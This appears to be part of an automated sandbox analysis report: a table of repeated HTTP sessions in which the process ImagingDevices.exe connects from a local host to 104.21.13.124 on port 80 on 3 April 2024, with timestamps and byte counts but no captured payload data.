Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:29.278542995 CEST | 244 | OUT | |
Apr 3, 2024 06:38:29.403072119 CEST | 149 | OUT | |
Apr 3, 2024 06:38:29.710725069 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
80 | 192.168.2.4 | 49821 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:29.987306118 CEST | 244 | OUT | |
Apr 3, 2024 06:38:30.112055063 CEST | 149 | OUT | |
Apr 3, 2024 06:38:30.401864052 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
81 | 192.168.2.4 | 49822 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:30.670975924 CEST | 244 | OUT | |
Apr 3, 2024 06:38:30.797080040 CEST | 149 | OUT | |
Apr 3, 2024 06:38:31.090198040 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
82 | 192.168.2.4 | 49823 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:31.366750956 CEST | 244 | OUT | |
Apr 3, 2024 06:38:31.491519928 CEST | 149 | OUT | |
Apr 3, 2024 06:38:31.930062056 CEST | 633 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
83 | 192.168.2.4 | 49824 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:32.210551023 CEST | 244 | OUT | |
Apr 3, 2024 06:38:32.335652113 CEST | 149 | OUT | |
Apr 3, 2024 06:38:32.636657953 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
84 | 192.168.2.4 | 49825 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:32.914570093 CEST | 244 | OUT | |
Apr 3, 2024 06:38:33.038847923 CEST | 149 | OUT | |
Apr 3, 2024 06:38:33.328829050 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
85 | 192.168.2.4 | 49826 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:33.600213051 CEST | 244 | OUT | |
Apr 3, 2024 06:38:33.724842072 CEST | 149 | OUT | |
Apr 3, 2024 06:38:34.018080950 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
86 | 192.168.2.4 | 49827 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:34.282252073 CEST | 244 | OUT | |
Apr 3, 2024 06:38:34.406924963 CEST | 149 | OUT | |
Apr 3, 2024 06:38:34.705063105 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
87 | 192.168.2.4 | 49828 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:34.982501984 CEST | 244 | OUT | |
Apr 3, 2024 06:38:35.107508898 CEST | 149 | OUT | |
Apr 3, 2024 06:38:35.398335934 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
88 | 192.168.2.4 | 49829 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:35.672061920 CEST | 244 | OUT | |
Apr 3, 2024 06:38:35.796123028 CEST | 149 | OUT | |
Apr 3, 2024 06:38:36.087373972 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
89 | 192.168.2.4 | 49830 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:36.358340025 CEST | 244 | OUT | |
Apr 3, 2024 06:38:36.484271049 CEST | 149 | OUT | |
Apr 3, 2024 06:38:36.781783104 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
90 | 192.168.2.4 | 49831 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:37.043826103 CEST | 244 | OUT | |
Apr 3, 2024 06:38:37.168632984 CEST | 149 | OUT | |
Apr 3, 2024 06:38:37.465118885 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
91 | 192.168.2.4 | 49832 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:37.732708931 CEST | 244 | OUT | |
Apr 3, 2024 06:38:37.857372999 CEST | 149 | OUT | |
Apr 3, 2024 06:38:38.151998997 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
92 | 192.168.2.4 | 49833 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:38.419517040 CEST | 244 | OUT | |
Apr 3, 2024 06:38:38.544631958 CEST | 149 | OUT | |
Apr 3, 2024 06:38:38.836112022 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
93 | 192.168.2.4 | 49834 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:39.111241102 CEST | 244 | OUT | |
Apr 3, 2024 06:38:39.235162020 CEST | 149 | OUT | |
Apr 3, 2024 06:38:39.536004066 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
94 | 192.168.2.4 | 49835 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:40.106892109 CEST | 244 | OUT | |
Apr 3, 2024 06:38:40.232371092 CEST | 149 | OUT | |
Apr 3, 2024 06:38:40.525443077 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
95 | 192.168.2.4 | 49836 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:42.416971922 CEST | 244 | OUT | |
Apr 3, 2024 06:38:42.541822910 CEST | 149 | OUT | |
Apr 3, 2024 06:38:42.843430042 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
96 | 192.168.2.4 | 49837 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:43.265047073 CEST | 244 | OUT | |
Apr 3, 2024 06:38:43.389837980 CEST | 149 | OUT | |
Apr 3, 2024 06:38:43.688081980 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
97 | 192.168.2.4 | 49838 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:43.957175970 CEST | 244 | OUT | |
Apr 3, 2024 06:38:44.082529068 CEST | 149 | OUT | |
Apr 3, 2024 06:38:44.379744053 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
98 | 192.168.2.4 | 49839 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:44.645217896 CEST | 244 | OUT | |
Apr 3, 2024 06:38:44.769838095 CEST | 149 | OUT | |
Apr 3, 2024 06:38:45.064080954 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
99 | 192.168.2.4 | 49840 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:45.335994959 CEST | 244 | OUT | |
Apr 3, 2024 06:38:45.461213112 CEST | 149 | OUT | |
Apr 3, 2024 06:38:45.751863956 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
100 | 192.168.2.4 | 49841 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:46.022619963 CEST | 244 | OUT | |
Apr 3, 2024 06:38:46.148027897 CEST | 149 | OUT | |
Apr 3, 2024 06:38:46.588614941 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
101 | 192.168.2.4 | 49842 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:46.856471062 CEST | 244 | OUT | |
Apr 3, 2024 06:38:46.982182026 CEST | 149 | OUT | |
Apr 3, 2024 06:38:47.415154934 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
102 | 192.168.2.4 | 49843 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:47.687505007 CEST | 244 | OUT | |
Apr 3, 2024 06:38:47.812503099 CEST | 149 | OUT | |
Apr 3, 2024 06:38:48.109585047 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
103 | 192.168.2.4 | 49844 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:48.379698992 CEST | 244 | OUT | |
Apr 3, 2024 06:38:48.504187107 CEST | 149 | OUT | |
Apr 3, 2024 06:38:48.798671007 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
104 | 192.168.2.4 | 49845 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:49.062803984 CEST | 244 | OUT | |
Apr 3, 2024 06:38:49.187238932 CEST | 149 | OUT | |
Apr 3, 2024 06:38:49.483000040 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
105 | 192.168.2.4 | 49846 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:49.748493910 CEST | 244 | OUT | |
Apr 3, 2024 06:38:49.873338938 CEST | 149 | OUT | |
Apr 3, 2024 06:38:50.168106079 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
106 | 192.168.2.4 | 49847 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:50.437190056 CEST | 244 | OUT | |
Apr 3, 2024 06:38:50.562014103 CEST | 149 | OUT | |
Apr 3, 2024 06:38:50.856304884 CEST | 633 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
107 | 192.168.2.4 | 49848 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:51.126317978 CEST | 244 | OUT | |
Apr 3, 2024 06:38:51.250366926 CEST | 149 | OUT | |
Apr 3, 2024 06:38:51.541656971 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
108 | 192.168.2.4 | 49849 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:51.813477993 CEST | 244 | OUT | |
Apr 3, 2024 06:38:51.938059092 CEST | 149 | OUT | |
Apr 3, 2024 06:38:52.373929024 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
109 | 192.168.2.4 | 49850 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:52.638175011 CEST | 244 | OUT | |
Apr 3, 2024 06:38:52.763309002 CEST | 149 | OUT | |
Apr 3, 2024 06:38:53.062553883 CEST | 633 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
110 | 192.168.2.4 | 49851 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:53.324728966 CEST | 244 | OUT | |
Apr 3, 2024 06:38:53.449424982 CEST | 149 | OUT | |
Apr 3, 2024 06:38:53.752285957 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
111 | 192.168.2.4 | 49852 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:54.009984970 CEST | 244 | OUT | |
Apr 3, 2024 06:38:54.134341002 CEST | 149 | OUT | |
Apr 3, 2024 06:38:54.573359013 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
112 | 192.168.2.4 | 49853 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:54.842169046 CEST | 244 | OUT | |
Apr 3, 2024 06:38:54.967072964 CEST | 149 | OUT | |
Apr 3, 2024 06:38:55.256551027 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
113 | 192.168.2.4 | 49854 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:55.534564972 CEST | 244 | OUT | |
Apr 3, 2024 06:38:55.660617113 CEST | 149 | OUT | |
Apr 3, 2024 06:38:55.956835985 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
114 | 192.168.2.4 | 49855 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:56.219175100 CEST | 244 | OUT | |
Apr 3, 2024 06:38:56.343656063 CEST | 149 | OUT | |
Apr 3, 2024 06:38:56.647528887 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
115 | 192.168.2.4 | 49856 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:56.921190023 CEST | 244 | OUT | |
Apr 3, 2024 06:38:57.046123981 CEST | 149 | OUT | |
Apr 3, 2024 06:38:57.483875036 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
0 | 192.168.2.4 | 49738 | 192.178.50.78 | 443 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-04-03 04:37:20 UTC | 216 | OUT | |
2024-04-03 04:37:20 UTC | 1582 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
1 | 192.168.2.4 | 49739 | 192.178.50.65 | 443 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-04-03 04:37:20 UTC | 258 | OUT | |
2024-04-03 04:37:22 UTC | 4687 | IN |